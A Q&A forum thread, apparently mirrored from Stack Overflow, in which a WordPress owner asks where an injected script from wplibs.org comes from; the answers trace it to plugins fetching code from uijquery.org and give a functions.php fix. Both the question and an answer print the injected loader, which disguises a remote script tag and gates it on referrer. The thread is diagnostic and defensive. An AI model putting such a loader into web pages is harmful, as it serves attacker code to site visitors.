Strange behavior with script

2019-07-20 14:14发布

I'm running a new secured WordPress install (https). In my code I load some JavaScript files (modernizr, cookie, and my own)

jQuery is automatically loaded by WordPress.

Installed plugins are Yoast SEO, WPML and SMK Sidebars.

The issue is when I check the console in my browser, it shows me the following:

Mixed Content: The page at 'https://www.myuri.com/' was loaded over HTTPS, but requested an insecure script 'http://www.wplibs.org/jquery.min.js'. This request has been blocked; the content must be served over HTTPS.

In the source code:

<script type="text/javascript">
if(!document.referrer || document.referrer == '') {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>');
} else {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>');
}
</script>

I'm looking where the script "wplibs.com/jquery.min.js" comes from but I can't find.

Someone has a idea?

2条回答
迷人小祖宗
2楼-- · 2019-07-20 14:33

@IvanRF is right! I discovered before read it but it works for me too. Just adding

remove_action('wp_footer', 'wp_func_jquery');

in functions.php of our WordPress theme.

查看更多
3楼-- · 2019-07-20 14:46

I found the problem. It is caused by plugins that make request to http://uijquery.org/jquery-1.6.3.min.js and get the body response, you will see the source code:

<script type="text/javascript">
  var now = new Date().getTime();
  if (now%2 == 0) {
    if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 
  }
</script>

Try to look inside the files for the token "jquery.org" or "uijquery.org".

查看更多
登录 后发表回答